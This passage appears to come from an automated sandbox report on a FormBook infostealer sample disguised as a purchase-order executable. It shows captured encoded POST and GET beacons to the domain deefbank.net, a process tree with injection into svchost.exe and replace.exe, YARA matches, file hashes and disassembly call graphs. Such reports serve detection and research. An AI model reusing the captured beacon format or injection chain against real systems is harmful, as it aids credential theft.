                                                                                                                                                                    Oct 25, 2024 16:30:57.726861954 CEST691INHTTP/1.1 404 Not Found
                                                                                                                                                                    Server: nginx
                                                                                                                                                                    Date: Fri, 25 Oct 2024 14:30:57 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Content-Length: 548
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                                                                                                                                    Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    57192.168.2.562244142.250.185.243802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:31:02.978822947 CEST681OUTPOST /1y6y/ HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                    Content-Length: 209
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Host: www.deefbank.net
                                                                                                                                                                    Origin: http://www.deefbank.net
                                                                                                                                                                    Referer: http://www.deefbank.net/1y6y/
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Data Raw: 74 44 33 38 72 6e 70 58 3d 55 62 71 51 77 69 2b 6c 48 6c 61 2b 73 4b 62 70 38 64 34 58 4d 62 6a 6b 4e 43 51 50 79 33 38 74 4f 4d 67 39 6e 2f 31 57 70 41 48 48 64 4e 47 55 4f 4c 46 6d 73 64 39 6c 6b 6b 42 74 5a 4c 59 72 76 38 68 62 51 52 63 50 76 4c 30 59 6a 47 35 46 78 50 64 54 44 2f 45 6d 39 75 70 51 7a 74 76 78 59 6a 48 7a 53 46 42 4b 41 59 36 42 64 7a 4b 68 6d 4a 7a 69 6f 77 42 52 6c 36 6f 4a 53 62 59 4c 79 38 4e 71 4b 39 31 44 4c 4f 75 35 77 30 48 4d 34 59 74 36 66 50 53 4f 43 74 69 73 48 59 6e 44 6b 43 66 6b 36 33 36 48 65 72 31 66 39 79 50 74 46 51 73 65 63 41 49 4f 76 62 68 49 73 55 50 6e 33 74 34 58 4c 47 67 3d
                                                                                                                                                                    Data Ascii: tD38rnpX=UbqQwi+lHla+sKbp8d4XMbjkNCQPy38tOMg9n/1WpAHHdNGUOLFmsd9lkkBtZLYrv8hbQRcPvL0YjG5FxPdTD/Em9upQztvxYjHzSFBKAY6BdzKhmJziowBRl6oJSbYLy8NqK91DLOu5w0HM4Yt6fPSOCtisHYnDkCfk636Her1f9yPtFQsecAIOvbhIsUPn3t4XLGg=
                                                                                                                                                                    Oct 25, 2024 16:31:03.941215992 CEST402INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                    Content-Type: application/binary
                                                                                                                                                                    Cache-Control: no-cache, no-store, max-age=0, must-revalidate
                                                                                                                                                                    Pragma: no-cache
                                                                                                                                                                    Expires: Mon, 01 Jan 1990 00:00:00 GMT
                                                                                                                                                                    Date: Fri, 25 Oct 2024 14:31:03 GMT
                                                                                                                                                                    Location: https://www.deefbank.net/1y6y/
                                                                                                                                                                    Server: ESF
                                                                                                                                                                    Content-Length: 0
                                                                                                                                                                    X-XSS-Protection: 0
                                                                                                                                                                    X-Frame-Options: SAMEORIGIN
                                                                                                                                                                    X-Content-Type-Options: nosniff
                                                                                                                                                                    Connection: close


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    58192.168.2.562245142.250.185.243802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:31:05.571043015 CEST701OUTPOST /1y6y/ HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                    Content-Length: 229
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Host: www.deefbank.net
                                                                                                                                                                    Origin: http://www.deefbank.net
                                                                                                                                                                    Referer: http://www.deefbank.net/1y6y/
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Data Raw: 74 44 33 38 72 6e 70 58 3d 55 62 71 51 77 69 2b 6c 48 6c 61 2b 2b 62 4c 70 2b 2b 51 58 64 37 6a 6e 43 69 51 50 70 48 38 70 4f 4d 73 39 6e 39 5a 47 70 31 76 48 63 70 43 55 50 50 52 6d 76 64 39 6c 73 45 42 6f 45 62 59 67 76 39 64 74 51 54 49 50 76 4c 77 59 6a 48 4a 46 78 63 31 51 43 76 45 6b 31 4f 70 53 33 74 76 78 59 6a 48 7a 53 46 6c 73 41 62 4b 42 63 44 36 68 6e 74 6e 68 72 77 42 4f 69 36 6f 4a 45 72 59 31 79 38 4e 79 4b 38 70 74 4c 4c 69 35 77 30 58 4d 37 4b 46 39 4b 2f 53 45 63 64 6a 6b 58 70 47 63 75 42 69 73 37 6c 44 6e 64 35 74 31 38 45 69 48 66 79 6b 32 50 67 6b 32 2f 49 70 2f 39 6b 75 4f 74 4f 6f 6e 56 52 32 6e 49 4b 4e 6b 59 56 59 6e 70 61 78 54 32 45 36 36 68 50 66 56
                                                                                                                                                                    Data Ascii: tD38rnpX=UbqQwi+lHla++bLp++QXd7jnCiQPpH8pOMs9n9ZGp1vHcpCUPPRmvd9lsEBoEbYgv9dtQTIPvLwYjHJFxc1QCvEk1OpS3tvxYjHzSFlsAbKBcD6hntnhrwBOi6oJErY1y8NyK8ptLLi5w0XM7KF9K/SEcdjkXpGcuBis7lDnd5t18EiHfyk2Pgk2/Ip/9kuOtOonVR2nIKNkYVYnpaxT2E66hPfV
                                                                                                                                                                    Oct 25, 2024 16:31:06.536871910 CEST402INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                    Content-Type: application/binary
                                                                                                                                                                    Cache-Control: no-cache, no-store, max-age=0, must-revalidate
                                                                                                                                                                    Pragma: no-cache
                                                                                                                                                                    Expires: Mon, 01 Jan 1990 00:00:00 GMT
                                                                                                                                                                    Date: Fri, 25 Oct 2024 14:31:06 GMT
                                                                                                                                                                    Location: https://www.deefbank.net/1y6y/
                                                                                                                                                                    Server: ESF
                                                                                                                                                                    Content-Length: 0
                                                                                                                                                                    X-XSS-Protection: 0
                                                                                                                                                                    X-Frame-Options: SAMEORIGIN
                                                                                                                                                                    X-Content-Type-Options: nosniff
                                                                                                                                                                    Connection: close


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    59192.168.2.562246142.250.185.243802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:31:08.267714977 CEST1718OUTPOST /1y6y/ HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                    Content-Length: 1245
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Host: www.deefbank.net
                                                                                                                                                                    Origin: http://www.deefbank.net
                                                                                                                                                                    Referer: http://www.deefbank.net/1y6y/
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Data Raw: 74 44 33 38 72 6e 70 58 3d 55 62 71 51 77 69 2b 6c 48 6c 61 2b 2b 62 4c 70 2b 2b 51 58 64 37 6a 6e 43 69 51 50 70 48 38 70 4f 4d 73 39 6e 39 5a 47 70 7a 33 48 64 61 4b 55 4f 6f 39 6d 75 64 39 6c 69 6b 42 70 45 62 59 48 76 38 30 6b 51 54 55 66 76 4a 59 59 67 6b 52 46 6d 39 31 51 4d 76 45 6b 71 2b 70 54 7a 74 76 6b 59 6e 6a 33 53 46 56 73 41 62 4b 42 63 42 53 68 69 4a 7a 68 6e 51 42 52 6c 36 70 62 53 62 5a 59 79 38 46 69 4b 38 74 54 4c 34 71 35 77 56 6e 4d 36 2f 78 39 49 66 53 43 64 64 69 69 58 70 4b 35 75 42 2f 56 37 68 4c 42 64 37 39 31 77 6c 6a 66 4d 77 56 6f 63 67 78 55 36 34 70 4a 73 6b 32 6f 6b 4e 73 71 5a 54 72 49 4d 34 6c 74 56 52 55 56 6f 70 52 63 33 51 6d 57 6f 75 65 56 61 76 37 44 5a 66 47 41 67 51 53 4b 71 71 42 4d 46 56 30 35 75 6a 2f 77 79 44 74 53 68 37 57 45 74 74 6c 6f 49 79 74 59 69 77 49 42 42 42 76 30 47 69 6a 69 57 39 36 6c 61 31 59 61 37 36 50 4b 62 38 72 6b 2f 42 4f 72 52 5a 2f 63 6b 42 4d 61 38 63 6c 43 79 50 56 4e 67 31 71 71 6d 55 33 73 66 63 39 4a 50 62 52 6c 7a 39 64 66 4e [TRUNCATED]
                                                                                                                                                                    Data Ascii: tD38rnpX=UbqQwi+lHla++bLp++QXd7jnCiQPpH8pOMs9n9ZGpz3HdaKUOo9mud9likBpEbYHv80kQTUfvJYYgkRFm91QMvEkq+pTztvkYnj3SFVsAbKBcBShiJzhnQBRl6pbSbZYy8FiK8tTL4q5wVnM6/x9IfSCddiiXpK5uB/V7hLBd791wljfMwVocgxU64pJsk2okNsqZTrIM4ltVRUVopRc3QmWoueVav7DZfGAgQSKqqBMFV05uj/wyDtSh7WEttloIytYiwIBBBv0GijiW96la1Ya76PKb8rk/BOrRZ/ckBMa8clCyPVNg1qqmU3sfc9JPbRlz9dfNwm0j3vY2mCz59uolf386cfWxn98jnvFb2zLUVDrIGaaQEojiEuqWl7sHnvUMOSWpP7Rka3DX0iS2p+QVLf6ifkpcTJ5Nb2SmntDyVcEIJZ3ChLyXsc/Xgo6YtLSbxQQX+wU8Zw2gaJUxhYgnsZguZUoDDgaMjjTXz6Dzzv8g98PMzwWKDV+QOvHmXKzSHYhjWNwrq918YzL+rTZrFSb7MXjHBbwc+sJPmgySrdbGAh7KH3xAbXI5QxCgxfqpKKOzVWaUypIXs4XM9vpU84na1DnOjDe5WoU4+ROGWnaycLaJH1ZnTNwRpn7tcE0o8cwtB9Thxrvddi8Xi71QqEnhiAG6Jd56FF9jBYkSARmOLn0w+wtB+ERkc+3paEFUi44NALewQY6weoM0N55Cu9AuorXdrjDZmw8mhfFXo2PaaOAUmvEVu41kXIjRloygnouNhKWPgOWtdwndSzD/7SHTZG0oC2X2zpRU2HOtHWRRdgE4pgpWo1JWM8QhAYtJEtlntcQQmZO8yBoz+jGD2VmA3BActd2JlZuvwXzilN4+U+kzqghIkxkf4MS2GbgJ9p0IyBUhP/54iHk1uMXjUViU7pIevwSCm7nlxDLNQaDCln2y1NncrN3uHiLy0p9y/D9uQ2tRlHzOh6wVpUsBAh3sY2ak6SBBIGC0vb [TRUNCATED]
                                                                                                                                                                    Oct 25, 2024 16:31:09.237356901 CEST402INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                    Content-Type: application/binary
                                                                                                                                                                    Cache-Control: no-cache, no-store, max-age=0, must-revalidate
                                                                                                                                                                    Pragma: no-cache
                                                                                                                                                                    Expires: Mon, 01 Jan 1990 00:00:00 GMT
                                                                                                                                                                    Date: Fri, 25 Oct 2024 14:31:09 GMT
                                                                                                                                                                    Location: https://www.deefbank.net/1y6y/
                                                                                                                                                                    Server: ESF
                                                                                                                                                                    Content-Length: 0
                                                                                                                                                                    X-XSS-Protection: 0
                                                                                                                                                                    X-Frame-Options: SAMEORIGIN
                                                                                                                                                                    X-Content-Type-Options: nosniff
                                                                                                                                                                    Connection: close


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    60192.168.2.562247142.250.185.243802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:31:10.811342955 CEST425OUTGET /1y6y/?tD38rnpX=ZZCwzVqBWU3muJHN1dgNLIPJNXd9yQEIX/09mdB9zFH2Ray8HotAqN5avWZULpURoYhjfm8F2pVR91tny4xaEvUGtehf5Pi2CT/GNU0uX4WCZi+OwvuFhStzoqURSptShA==&EjY0i=xfOdKrMPu HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Host: www.deefbank.net
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Oct 25, 2024 16:31:11.755026102 CEST564INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                    Content-Type: application/binary
                                                                                                                                                                    Cache-Control: no-cache, no-store, max-age=0, must-revalidate
                                                                                                                                                                    Pragma: no-cache
                                                                                                                                                                    Expires: Mon, 01 Jan 1990 00:00:00 GMT
                                                                                                                                                                    Date: Fri, 25 Oct 2024 14:31:11 GMT
                                                                                                                                                                    Location: https://www.deefbank.net/1y6y/?tD38rnpX=ZZCwzVqBWU3muJHN1dgNLIPJNXd9yQEIX/09mdB9zFH2Ray8HotAqN5avWZULpURoYhjfm8F2pVR91tny4xaEvUGtehf5Pi2CT/GNU0uX4WCZi+OwvuFhStzoqURSptShA%3D%3D&EjY0i=xfOdKrMPu
                                                                                                                                                                    Server: ESF
                                                                                                                                                                    Content-Length: 0
                                                                                                                                                                    X-XSS-Protection: 0
                                                                                                                                                                    X-Frame-Options: SAMEORIGIN
                                                                                                                                                                    X-Content-Type-Options: nosniff
                                                                                                                                                                    Connection: close


                                                                                                                                                                    Statistics

                                                                                                                                                                    CPU Usage

                                                                                                                                                                    Click to jump to process

                                                                                                                                                                    Memory Usage

                                                                                                                                                                    Click to jump to process

                                                                                                                                                                    High Level Behavior Distribution

                                                                                                                                                                    Click to dive into process behavior distribution

                                                                                                                                                                    Behavior

                                                                                                                                                                    Click to jump to process

                                                                                                                                                                    System Behavior

                                                                                                                                                                    General

                                                                                                                                                                    Target ID:0
                                                                                                                                                                    Start time:10:27:03
                                                                                                                                                                    Start date:25/10/2024
                                                                                                                                                                    Path:C:\Users\user\Desktop\PO 4800040256.exe
                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                    Commandline:"C:\Users\user\Desktop\PO 4800040256.exe"
                                                                                                                                                                    Imagebase:0x400000
                                                                                                                                                                    File size:1'325'585 bytes
                                                                                                                                                                    MD5 hash:5B2622FD1827784342926260A3B90EED
                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                    Reputation:low
                                                                                                                                                                    Has exited:true

                                                                                                                                                                    General

                                                                                                                                                                    Target ID:2
                                                                                                                                                                    Start time:10:27:06
                                                                                                                                                                    Start date:25/10/2024
                                                                                                                                                                    Path:C:\Windows\SysWOW64\svchost.exe
                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                    Commandline:"C:\Users\user\Desktop\PO 4800040256.exe"
                                                                                                                                                                    Imagebase:0x790000
                                                                                                                                                                    File size:46'504 bytes
                                                                                                                                                                    MD5 hash:1ED18311E3DA35942DB37D15FA40CC5B
                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                    Yara matches:
                                                                                                                                                                    • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2247247769.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.2247247769.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                                    • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2247657348.00000000032A0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.2247657348.00000000032A0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                                    • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2248041261.0000000004400000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.2248041261.0000000004400000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                                    Reputation:high
                                                                                                                                                                    Has exited:true

                                                                                                                                                                    General

                                                                                                                                                                    Target ID:3
                                                                                                                                                                    Start time:10:27:09
                                                                                                                                                                    Start date:25/10/2024
                                                                                                                                                                    Path:C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                    Commandline:"C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe"
                                                                                                                                                                    Imagebase:0x530000
                                                                                                                                                                    File size:140'800 bytes
                                                                                                                                                                    MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                    Has elevated privileges:false
                                                                                                                                                                    Has administrator privileges:false
                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                    Yara matches:
                                                                                                                                                                    • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.4573534161.0000000002FA0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.4573534161.0000000002FA0000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                                    Reputation:high
                                                                                                                                                                    Has exited:false

                                                                                                                                                                    General

                                                                                                                                                                    Target ID:4
                                                                                                                                                                    Start time:10:27:10
                                                                                                                                                                    Start date:25/10/2024
                                                                                                                                                                    Path:C:\Windows\SysWOW64\replace.exe
                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                    Commandline:"C:\Windows\SysWOW64\replace.exe"
                                                                                                                                                                    Imagebase:0x120000
                                                                                                                                                                    File size:18'944 bytes
                                                                                                                                                                    MD5 hash:A7F2E9DD9DE1396B1250F413DA2F6C08
                                                                                                                                                                    Has elevated privileges:false
                                                                                                                                                                    Has administrator privileges:false
                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                    Yara matches:
                                                                                                                                                                    • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.4572490171.0000000002E50000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.4572490171.0000000002E50000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                                    • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.4573627001.0000000003390000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.4573627001.0000000003390000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                    • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.4573575803.0000000003340000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.4573575803.0000000003340000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                    Reputation:moderate
                                                                                                                                                                    Has exited:false

                                                                                                                                                                    General

                                                                                                                                                                    Target ID:6
                                                                                                                                                                    Start time:10:27:24
                                                                                                                                                                    Start date:25/10/2024
                                                                                                                                                                    Path:C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                    Commandline:"C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe"
                                                                                                                                                                    Imagebase:0x530000
                                                                                                                                                                    File size:140'800 bytes
                                                                                                                                                                    MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                    Has elevated privileges:false
                                                                                                                                                                    Has administrator privileges:false
                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                    Reputation:high
                                                                                                                                                                    Has exited:false

                                                                                                                                                                    General

                                                                                                                                                                    Target ID:7
                                                                                                                                                                    Start time:10:27:36
                                                                                                                                                                    Start date:25/10/2024
                                                                                                                                                                    Path:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                    Commandline:"C:\Program Files\Mozilla Firefox\Firefox.exe"
                                                                                                                                                                    Imagebase:0x7ff79f9e0000
                                                                                                                                                                    File size:676'768 bytes
                                                                                                                                                                    MD5 hash:C86B1BE9ED6496FE0E0CBE73F81D8045
                                                                                                                                                                    Has elevated privileges:false
                                                                                                                                                                    Has administrator privileges:false
                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                    Reputation:high
                                                                                                                                                                    Has exited:true

                                                                                                                                                                    Disassembly

                                                                                                                                                                    Reset < >

                                                                                                                                                                      Execution Graph

                                                                                                                                                                      Execution Coverage:3.1%
                                                                                                                                                                      Dynamic/Decrypted Code Coverage:1.1%
                                                                                                                                                                      Signature Coverage:3.3%
                                                                                                                                                                      Total number of Nodes:1593
                                                                                                                                                                      Total number of Limit Nodes:39
                                                                                                                                                                      execution_graph 85015 40f110 RegOpenKeyExW 85016 40f13c RegQueryValueExW RegCloseKey 85015->85016 85017 40f15f 85015->85017 85016->85017 85018 429212 85023 410b90 85018->85023 85021 411421 __cinit 74 API calls 85022 42922f 85021->85022 85024 410b9a __write_nolock 85023->85024 85025 41171a 75 API calls 85024->85025 85026 410c31 GetModuleFileNameW 85025->85026 85040 413db0 85026->85040 85028 410c66 _wcsncat 85043 413e3c 85028->85043 85031 41171a 75 API calls 85032 410ca3 _wcscpy 85031->85032 85033 410cd1 RegOpenKeyExW 85032->85033 85034 429bc3 RegQueryValueExW 85033->85034 85035 410cf7 85033->85035 85036 429cd9 RegCloseKey 85034->85036 85038 429bf2 _wcscat _wcslen _wcsncpy 85034->85038 85035->85021 85037 41171a 75 API calls 85037->85038 85038->85037 85039 429cd8 85038->85039 85039->85036 85046 413b95 85040->85046 85076 41abec 85043->85076 85047 413c2f 85046->85047 85052 413bae 85046->85052 85048 413d60 85047->85048 85049 413d7b 85047->85049 85072 417f23 67 API calls __getptd_noexit 85048->85072 85074 417f23 67 API calls __getptd_noexit 85049->85074 85052->85047 85055 413c1d 85052->85055 85068 41ab19 67 API calls _xtow_s@20 85052->85068 85053 413d65 85058 413cfb 85053->85058 85073 417ebb 6 API calls 2 library calls 85053->85073 85055->85047 85065 413c9b 85055->85065 85069 41ab19 67 API calls _xtow_s@20 85055->85069 85057 413d03 85057->85047 85057->85058 85059 413d8e 85057->85059 85058->85028 85075 41ab19 67 API calls _xtow_s@20 85059->85075 85060 413cb9 85060->85047 85062 413cd6 85060->85062 85070 41ab19 67 API calls _xtow_s@20 85060->85070 85062->85047 85062->85058 85064 413cef 85062->85064 85071 41ab19 67 API calls _xtow_s@20 85064->85071 85065->85057 85065->85060 85068->85055 85069->85065 85070->85062 85071->85058 85072->85053 85074->85053 85075->85058 85077 41ac02 85076->85077 85078 41abfd 85076->85078 85085 417f23 67 API calls __getptd_noexit 85077->85085 85078->85077 85083 41ac22 85078->85083 85080 41ac07 85086 417ebb 6 API calls 2 library calls 85080->85086 85084 410c99 85083->85084 85087 417f23 67 API calls __getptd_noexit 85083->85087 85084->85031 85085->85080 85087->85080 85088 401230 85089 401241 _memset 85088->85089 85090 4012c5 85088->85090 85103 401be0 85089->85103 85092 40126b 85093 4012ae KillTimer SetTimer 85092->85093 85094 42aa61 85092->85094 85095 401298 85092->85095 85093->85090 85096 42aa8b Shell_NotifyIconW 85094->85096 85097 42aa69 Shell_NotifyIconW 85094->85097 85098 4012a2 85095->85098 85099 42aaac 85095->85099 85096->85093 85097->85093 85098->85093 85102 42aaf8 Shell_NotifyIconW 85098->85102 85100 42aad7 Shell_NotifyIconW 85099->85100 85101 42aab5 Shell_NotifyIconW 85099->85101 85100->85093 85101->85093 85102->85093 85104 401bfb 85103->85104 85124 401cde 85103->85124 85125 4013a0 75 API calls 85104->85125 85106 401c0b 85107 42a9a0 LoadStringW 85106->85107 85108 401c18 85106->85108 85110 42a9bb 85107->85110 85126 4021e0 85108->85126 85139 40df50 75 API calls 85110->85139 85111 401c2d 85113 401c3a 85111->85113 85114 42a9cd 85111->85114 85113->85110 85115 401c44 85113->85115 85140 40d3b0 75 API calls 2 library calls 85114->85140 85138 40d3b0 75 API calls 2 library calls 85115->85138 85117 42a9dc 85119 42a9f0 85117->85119 85121 401c53 _memset _wcscpy _wcsncpy 85117->85121 85141 40d3b0 75 API calls 2 library calls 85119->85141 85122 401cc2 Shell_NotifyIconW 85121->85122 85122->85124 85123 42a9fe 85124->85092 85125->85106 85127 4021f1 _wcslen 85126->85127 85128 42a598 85126->85128 85131 402205 85127->85131 85132 402226 85127->85132 85144 40c740 85128->85144 85130 42a5a2 85142 404020 75 API calls ctype 85131->85142 85143 401380 75 API calls 85132->85143 85135 40220c _memcpy_s 85135->85111 85136 40222d 85136->85130 85137 41171a 75 API calls 85136->85137 85137->85135 85138->85121 85139->85121 85140->85117 85141->85123 85142->85135 85143->85136 85145 40c752 85144->85145 85146 40c747 85144->85146 85145->85130 85146->85145 85149 402ae0 75 API calls _memcpy_s 85146->85149 85148 42a572 _memcpy_s 85148->85130 85149->85148 85150 4034b0 85151 4034b9 85150->85151 85152 